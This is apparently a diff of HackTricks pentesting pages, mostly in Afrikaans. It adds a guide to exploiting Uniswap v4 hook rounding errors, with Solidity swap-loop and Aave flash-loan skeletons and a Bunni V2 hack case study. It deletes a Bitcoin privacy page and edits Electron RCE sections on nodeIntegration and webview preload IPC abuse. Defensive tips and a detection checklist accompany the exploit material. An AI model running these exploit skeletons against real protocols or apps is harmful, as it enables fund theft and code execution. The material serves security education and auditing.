test_precision_rounding_abuse() public { +// 1) Arrange: set up pool with hook +PoolKey memory key = PoolKey({ +currency0: USDC, +currency1: USDT, +fee: 500, // 0.05% +tickSpacing: 10, +hooks: address(bunniHook) +}); +pm.initialize(key, initialSqrtPriceX96); + +// 2) Determine a boundary‑crossing exactInput +uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary); + +// 3) Loop swaps to accrue rounding credit +for (uint i; i < N; ++i) { +pm.swap( +key, +IPoolManager.SwapParams({ +zeroForOne: true, +amountSpecified: int256(exactIn), // exactInput +sqrtPriceLimitX96: 0 // allow tick crossing +}), +"" +); +} + +// 4) Realize inflated credit via hook‑exposed withdrawal +bunniHook.withdrawCredits(msg.sender); +} +``` +Kalibrering van die exactInput +- Bereken ΔsqrtP vir 'n tick-stap: sqrtP_next = sqrtP_current × 1.0001^(Δtick). +- Benader Δin met behulp van v3/v4-formules: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Sorg dat die afrondingsrigting ooreenstem met die kernwiskunde. +- Pas Δin met ±1 wei rondom die grens aan om die tak te vind waar die hook in jou guns afrond. + +4) Vergroot met flash loans +- Leen 'n groot notionele bedrag (bv. 3M USDT of 2000 WETH) om baie iterasies atomies uit te voer. +- Voer die gekalibreerde swap-lus uit, onttrek en betaal dan terug binne die flash loan callback. + +Aave V3 flash loan skeleton +```solidity +function executeOperation( +address[] calldata assets, +uint256[] calldata amounts, +uint256[] calldata premiums, +address initiator, +bytes calldata params +) external returns (bool) { +// run threshold‑crossing swap loop here +for (uint i; i < N; ++i) { +_exactInBoundaryCrossingSwap(); +} +// realize credits / withdraw inflated balances +bunniHook.withdrawCredits(address(this)); +// repay +for (uint j; j < assets.length; ++j) { +IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]); +} +return true; +} +``` +5) Uitstap en oorketting‑replikasie +- As hooks op verskeie kettings ontplooi is, herhaal dieselfde kalibrasie per ketting. +- Brug stuur opbrengste terug na die teikenketting en kan opsioneel via leningsprotokolle kringloop om vloei te verwring. + +## Algemene oorsake in hook‑wiskunde + +- Gemengde afrondingssemantiek: mulDiv voer floor uit terwyl later paaie effektief na bo afrond; of omskakelings tussen token/liquidity pas verskillende afronding toe. +- Tick‑uitlijningsfoute: gebruik van onafgeronde ticks in een pad en tick‑spas‑afronding in 'n ander. +- BalanceDelta teken/overflow‑kwessies wanneer omgeskakel word tussen int256 en uint256 tydens settlement. +- Presisieverlies in Q64.96 omskakelings (sqrtPriceX96) nie gespiegeld in die omgekeerde mapping nie. +- Akkumulatie‑paaie: per‑swap watreste wat as krediete gevolg word en deur die caller onttrekbaar is in plaas daarvan om verbrand/zero‑sum te wees. + +## Verdedigende riglyne + +- DifferensiĂ«le toetsing: spieĂ«l die hook se wiskunde teen 'n verwysingsimplementering met hoë‑presisie rasionele rekenkunde en stel gelykheid of 'n begrensde fout wat altyd adversarieel is (nooit in die caller se guns nie). +- Invariant/eienskapstoetse: +- Som van deltas (tokens, liquidity) oor swap‑paaie en hook‑aanpassings moet waarde conserveer modulo fooie. +- Geen pad mag 'n positiewe netto krediet vir die swap‑initiatior skep oor herhaalde exactInput‑iterasies nie. +- Drempel/tick‑grens toetse rondom ±1 wei insette vir beide exactInput/exactOutput. +- Afrondingsbeleid: sentraliseer afrondingshelpers wat altyd teen die gebruiker afrond; verwyder inkonsekwente casts en implisiete floors. +- Settlement sinks: akkumuleer onvermydelike afrondingsresidu na die protokol‑kassie of verbrand dit; ken dit nooit toe aan msg.sender nie. +- Rate‑limits/guardrails: minimum swap‑groottes vir rebalanserings‑triggers; deaktiveer rebalanses as deltas sub‑wei is; sanity‑check deltas teen verwagte reekse. +- Hersien hook callbacks holisties: beforeSwap/afterSwap en before/after liquidity‑veranderings moet saamstem oor tick‑uitlijning en delta‑afronding. + +## Gevallestudie: Bunni V2 (2025‑09‑02) + +- Protokol: Bunni V2 (Uniswap v4 hook) met 'n LDF toegepas per swap om te rebalanseer. +- Oorsaak: afrondings/presisie‑fout in LDF liquiditeitsrekeninghouding tydens drempel‑oorsteek swaps; per‑swap ongelykhede het opgeloop as positiewe krediete vir die caller. +- Ethereum poot: aanvaller het 'n ~3M USDT flash loan geneem, gekalibreerde exact‑input swaps op USDC/USDT uitgevoer om krediete op te bou, opgehewe opgeblase balances, terugbetaal, en fondse via Aave gerouteer. +- UniChain poot: het die exploit herhaal met 'n 2000 WETH flash loan, ongeveer 1366 WETH afgesyfer en na Ethereum gebridged. +- Impak: ~USD 8.3M leeggemaak oor kettings. Geen gebruikersinteraksie benodig; heeltemal on‑chain. + +## Opsporingskontrolelys + +- Gebruik die pool 'n nie‑nul hooks‑adres? Watter callbacks is geaktiveer? +- Is daar per‑swap herverdelings/rebalanses wat aangepaste wiskunde gebruik? Enige tick/drempel logika? +- Waar word divisions/mulDiv, Q64.96 omskakelings, of SafeCast gebruik? Is afrondingssemantiek globaal konsekwent? +- Kan jy Δin konstrueer wat skaars 'n grens oorsteek en 'n gunstige afrondings‑tak lewer? Toets beide rigtings en beide exactInput en exactOutput. +- Hou die hook per‑caller krediete of deltas by wat later onttrek kan word? Verseker dat residu geneutraliseer word. + +## References + +- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b) +- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit) +- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development) +- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core) +- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core) +- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md deleted file mode 100644 index 58bb21ecf..000000000 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ /dev/null @@ -1,182 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -## Basiese Konsepte - -- **Slimme Kontrakte** word gedefinieer as programme wat op 'n blockchain uitvoer wanneer sekere voorwaardes nagekom word, wat die uitvoering van ooreenkomste outomatiseer sonder intermediĂȘre. -- **Gedecentraliseerde Toepassings (dApps)** bou voort op slim kontrakte, met 'n gebruikersvriendelike front-end en 'n deursigtige, auditeerbare back-end. -- **Tokens & Munte** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig. -- **Nut Tokens** bied toegang tot dienste, en **Sekuriteit Tokens** dui eienaarskap van bates aan. -- **DeFi** staan vir Gedecentraliseerde Finansies, wat finansiĂ«le dienste bied sonder sentrale owerhede. -- **DEX** en **DAOs** verwys na Gedecentraliseerde Uitruil Platforms en Gedecentraliseerde Outonome Organisasies, onderskeidelik. - -## Konsensusmeganismes - -Konsensusmeganismes verseker veilige en ooreengekome transaksie-validasies op die blockchain: - -- **Bewys van Werk (PoW)** staat op rekenaarkrag vir transaksie-verifikasie. -- **Bewys van Belang (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder. - -## Bitcoin EssensiĂ«le - -### Transaksies - -Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan begin. - -#### Sleutelfaktore: - -- **Multihandtekening Transaksies** vereis verskeie handtekeninge om 'n transaksie te magtig. -- Transaksies bestaan uit **insette** (bron van fondse), **uitsette** (bestemming), **fooie** (betaal aan mynwerkers), en **scripts** (transaksie reĂ«ls). - -### Lightning Netwerk - -Streef daarna om Bitcoin se skaalbaarheid te verbeter deur verskeie transaksies binne 'n kanaal toe te laat, en slegs die finale toestand na die blockchain te stuur. - -## Bitcoin Privaatheidkwessies - -Privaatheidaanvalle, soos **Algemene Inset Eienaarskap** en **UTXO Veranderadres Opsporing**, benut transaksiepatrone. StrategieĂ« soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksieverbindinge tussen gebruikers te verdoesel. - -## Verkryging van Bitcoins Anoniem - -Metodes sluit kontanthandel, mynwerk, en die gebruik van mixers in. **CoinJoin** meng verskeie transaksies om die opspoorbaarheid te kompliseer, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid. - -# Bitcoin Privaatheid Aanvalle - -# Samevatting van Bitcoin Privaatheid Aanvalle - -In die wĂȘreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels onderwerpe van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin privaatheid kan kompromitteer. - -## **Algemene Inset Eienaarskap Aannames** - -Dit is oor die algemeen selde dat insette van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus, **twee inset adresse in dieselfde transaksie word dikwels veronderstel om aan dieselfde eienaar te behoort**. - -## **UTXO Veranderadres Opsporing** - -'n UTXO, of **Onbestedigde Transaksie Uitset**, moet heeltemal in 'n transaksie bestee word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die oorblywende na 'n nuwe veranderadres. Waarnemers kan aanneem dat hierdie nuwe adres aan die sender behoort, wat privaatheid kompromitteer. - -### Voorbeeld - -Om dit te verminder, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verdoesel. - -## **Sosiale Netwerke & Forums Blootstelling** - -Gebruikers deel soms hul Bitcoin adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**. - -## **Transaksie Grafiek Analise** - -Transaksies kan as grafieke gevisualiseer word, wat potensiĂ«le verbindings tussen gebruikers onthul op grond van die vloei van fondse. - -## **Onnodige Inset Heuristiek (Optimale Verander Heuristiek)** - -Hierdie heuristiek is gebaseer op die analise van transaksies met verskeie insette en uitsette om te raai watter uitset die verandering is wat na die sender terugkeer. - -### Voorbeeld -```bash -2 btc --> 4 btc -3 btc 1 btc -``` -As jy meer invoer byvoeg wat die verandering uitvoer groter maak as enige enkele invoer, kan dit die heuristiek verwarrend maak. - -## **Gedwonge Adres Hergebruik** - -Aanvallers mag klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit saam met ander invoer in toekomstige transaksies kombineer, en sodoende adresse aan mekaar koppel. - -### Korrek Wallet Gedrag - -Wallets moet vermy om munte wat op reeds gebruikte, leĂ« adresse ontvang is, te gebruik om hierdie privaatheidslek te voorkom. - -## **Ander Blockchain Analise Tegnieke** - -- **Presiese Betalingsbedrae:** Transaksies sonder verandering is waarskynlik tussen twee adresse wat aan dieselfde gebruiker behoort. -- **Ronde Getalle:** 'n Ronde getal in 'n transaksie dui aan dat dit 'n betaling is, met die nie-rond uitvoer wat waarskynlik die verandering is. -- **Wallet Vingerafdruk:** Verskillende wallets het unieke transaksie skeppingspatrone, wat ontleders in staat stel om die sagteware wat gebruik is te identifiseer en moontlik die verandering adres. -- **Bedrag & Tydsverhoudings:** Die bekendmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak. - -## **Verkeersanalise** - -Deur netwerkverkeer te monitor, kan aanvallers potensieel transaksies of blokke aan IP adresse koppel, wat gebruikers se privaatheid in gevaar stel. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoĂ« om transaksies te monitor verbeter. - -## Meer - -Vir 'n omvattende lys van privaatheid aanvalle en verdediging, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). - -# Anonieme Bitcoin Transaksies - -## Manier om Bitcoins Anoniem te Verkry - -- **Kontant Transaksies**: Verkryging van bitcoin deur kontant. -- **Kontant Alternatiewe**: Aankoop van geskenkbewyse en dit aanlyn ruil vir bitcoin. -- **Myn**: Die mees private metode om bitcoins te verdien is deur mynbou, veral wanneer dit alleen gedoen word omdat mynboupoele die mynwerker se IP adres mag ken. [Mynpoele Inligting](https://en.bitcoin.it/wiki/Pooled_mining) -- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie. - -## Mengdienste - -Deur 'n mengdiens te gebruik, kan 'n gebruiker **bitcoins stuur** en **verskillende bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar te spoor. Tog vereis dit vertroue in die diens om nie logs te hou nie en om werklik die bitcoins terug te stuur. Alternatiewe mengopsies sluit Bitcoin-kasino's in. - -## CoinJoin - -**CoinJoin** kombineer verskeie transaksies van verskillende gebruikers in een, wat die proses vir enigiemand wat probeer om invoer met uitvoer te pas, kompliseer. Ten spyte van sy doeltreffendheid, kan transaksies met unieke invoer- en uitvoergroottes steeds potensieel opgespoor word. - -Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` in. - -Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies met fondse van mynwerkers anoniem maak. - -## PayJoin - -'n Variant van CoinJoin, **PayJoin** (of P2EP), verberg die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitvoer wat tipies van CoinJoin is. Dit maak dit uiters moeilik om te ontdek en kan die algemene-invoer-eienaarskap heuristiek wat deur transaksie-toesighoudende entiteite gebruik word, ongeldig maak. -```plaintext -2 btc --> 3 btc -5 btc 4 btc -``` -Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin transaksies. - -**Die gebruik van PayJoin kan tradisionele toesigmetodes beduidend ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksie privaatheid. - -# Beste Praktyke vir Privaatheid in Kriptogeldeenhede - -## **Wallet Sinchronisasie Tegnieke** - -Om privaatheid en sekuriteit te handhaaf, is dit noodsaaklik om wallets met die blockchain te sinchroniseer. Twee metodes val op: - -- **Volle node**: Deur die hele blockchain af te laai, verseker 'n volle node maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer watter transaksies of adresse die gebruiker belangstel in. -- **KliĂ«nt-kant blokfiltrering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat wallets in staat stel om relevante transaksies te identifiseer sonder om spesifieke belangstellings aan netwerkwaarnemers bloot te stel. Liggewig wallets laai hierdie filters af, en haal slegs volle blokke af wanneer 'n ooreenkoms met die gebruiker se adresse gevind word. - -## **Gebruik van Tor vir Anonimiteit** - -Aangesien Bitcoin op 'n peer-to-peer netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg, wat privaatheid verbeter wanneer jy met die netwerk interaksie het. - -## **Voorkoming van Adres Hergebruik** - -Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Hergebruik van adresse kan privaatheid in gevaar stel deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adres hergebruik deur hul ontwerp. - -## **StrategieĂ« vir Transaksie Privaatheid** - -- **Meervoudige transaksies**: Om 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verdoesel, wat privaatheid aanvalle verhoed. -- **Verandering vermyding**: Om transaksies te kies wat nie verandering-uitsette vereis nie, verbeter privaatheid deur verandering detectiemetodes te ontwrig. -- **Meervoudige verandering-uitsette**: As dit nie moontlik is om verandering te vermy nie, kan die generering van meervoudige verandering-uitsette steeds privaatheid verbeter. - -# **Monero: 'n Baken van Anonimiteit** - -Monero adressering die behoefte aan absolute anonimiteit in digitale transaksies, wat 'n hoĂ« standaard vir privaatheid stel. - -# **Ethereum: Gas en Transaksies** - -## **Begrip van Gas** - -Gas meet die rekenkundige inspanning wat nodig is om operasies op Ethereum uit te voer, geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basisfooi, met 'n fooi om mynwerkers te motiveer. Gebruikers kan 'n maksimum fooi stel om te verseker dat hulle nie oorbetaal nie, met die oorskot terugbetaal. - -## **Uitvoering van Transaksies** - -Transaksies in Ethereum behels 'n sender en 'n ontvanger, wat Ăłf gebruiker of slim kontrak adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. EssensiĂ«le inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet, en fooie in. Opmerklik is dat die sender se adres afgelei word van die handtekening, wat die behoefte daaraan in die transaksiedata uitskakel. - -Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke raak by kriptogeldeenhede terwyl hulle privaatheid en sekuriteit prioritiseer. - -## Verwysings - -- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) -- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 7b176a327..dae72e20e 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,17 +1,17 @@ -# Electron Desktop-apps +# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} -## Inleiding +## Introduction -Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit 'n paar van die sekuriteitsmeganismes van moderne blaaiers ontbreek. +Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers mis. -Gewoonlik sal jy die electron-app-kode binne 'n `.asar` toepassing vind; om die kode te verkry moet jy dit onttrek: +Gewoonlik sal jy die Electron-app se kode binne 'n `.asar`-toepassing vind; om die kode te bekom, moet jy dit uitpak: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-lĂȘer vind waarin sekuriteitskonfigurasies gestel is. +In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-lĂȘer vind waarin security configs gestel is. ```json { "name": "standard-notes", @@ -20,11 +20,11 @@ In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-l Electron het 2 proses-tipes: - Main Process (het volle toegang tot NodeJS) -- Renderer Process (moet beperkte toegang tot NodeJS hĂȘ om sekuriteitsredes) +- Renderer Process (moet vir sekuriteitsredes beperkte toegang tot NodeJS hĂȘ) ![](<../../../images/image (182).png>) -'n **renderer process** sal 'n browservenster wees wat 'n lĂȘer laai: +'n **renderer process** sal 'n blaaiervenster wees wat 'n lĂȘer laai: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,17 +32,17 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Instellings van die **renderer-proses** kan in die **main-proses** binne die main.js-lĂȘer **gekonfigureer** word. Sommige van die konfigurasies sal die Electron-toepassing verhinder om RCE of ander kwesbaarhede te kry as die **instellings korrek gekonfigureer** is. +Instellings van die **renderer proses** kan in die **main proses** binne die main.js file **gekonfigureer** word. Sommige konfigurasies sal die Electron application verhoed om RCE of ander kwesbaarhede te kry indien die **instellings korrek gekonfigureer** is. -Die Electron-toepassing **kan toegang tot die toestel kry** via Node APIs alhoewel dit gekonfigureer kan word om dit te voorkom: +Die Electron-toepassing kan die toestel via Node APIs toegang kry, alhoewel dit gekonfigureer kan word om dit te voorkom: -- **`nodeIntegration`** - is `off` as verstek. As dit `on` is, maak dit toegang tot Node-funksies vanaf die renderer-proses moontlik. -- **`contextIsolation`** - is `on` as verstek. As dit `off` is, is die main- en renderer-prosesse nie geĂŻsoleer nie. -- **`preload`** - leeg as verstek. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` as verstek. Dit sal die aksies wat NodeJS kan uitvoer beperk. -- Node integrasie in Workers -- **`nodeIntegrationInSubframes`** - is `off` as verstek. -- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat **in iframes gelaai** word binne 'n Electron-toepassing toelaat. +- **`nodeIntegration`** - is `off` by default. As dit aan is, laat dit toegang tot Node-funksies vanaf die renderer proses toe. +- **`contextIsolation`** - is `on` by default. As dit af is, is main- en renderer-prosesse nie geĂŻsoleer nie. +- **`preload`** - leeg by verstek. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. Dit sal die aksies wat NodeJS kan uitvoer beperk. +- Node Integration in Workers +- **`nodeIntegrationInSubframes`**- is `off` by default. +- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing gelaai is, toelaat. - As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe gelaai word Example of configuration: @@ -103,7 +103,7 @@ Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy by, soos: ``` ## Electron Local Code Injection -As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan laat arbitrĂȘre JavaScript-kode uitvoer. Kyk hoe in: +As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer arbitrĂȘre javascript-kode. Kyk hoe in: {{#ref}} @@ -112,7 +112,7 @@ As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan laat ar ## RCE: XSS + nodeIntegration -As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc application op Windows uit te voer is: +As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik deur net die `require()` aan te roep. Byvoorbeeld, die manier om die calc-toepassing op Windows uit te voer is: ```html ``` -## RCE: webviewTag + kwesbare preload IPC + shell.openExternal +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal -Hierdie vuln kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. +Hierdie kwesbaarheid kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. -Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer process** toelaat, wat gedeaktiveer moet word aangesien dit toelaat om 'n skrip binne die preload context te laai soos: +Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer process** toelaat, en behoort gedeaktiveer te word aangesien dit toelaat om 'n skrip binne die **preload context** te laai soos: ```xml ``` -Gevolglik kan 'n aanvaller wat daarin slaag om 'n ewekansige bladsy te laai, daardie tag gebruik om **load an arbitrary preload script**. +Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrĂȘre bladsy te laai daardie tag gebruik om **'n arbitrĂȘre preload script te laai**. -Hierdie preload script is toe misbruik om 'n **kwetsbare IPC-diens (`skype-new-window`)** aan te roep wat calling calling **`shell.openExternal`** gebruik het om RCE te kry: +Hierdie preload script is toe misbruik om 'n **kwesbare IPC service (`skype-new-window`)** aan te roep, wat **`shell.openExternal`** aangeroep het om RCE te kry: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -249,15 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do }, 5000); })(); ``` -## Lees interne lĂȘers: XSS + contextIsolation +## Lees van Interne LĂȘers: XSS + contextIsolation -**Om `contextIsolation` te deaktiveer maak die gebruik van ``-tags moontlik**, soortgelyk aan `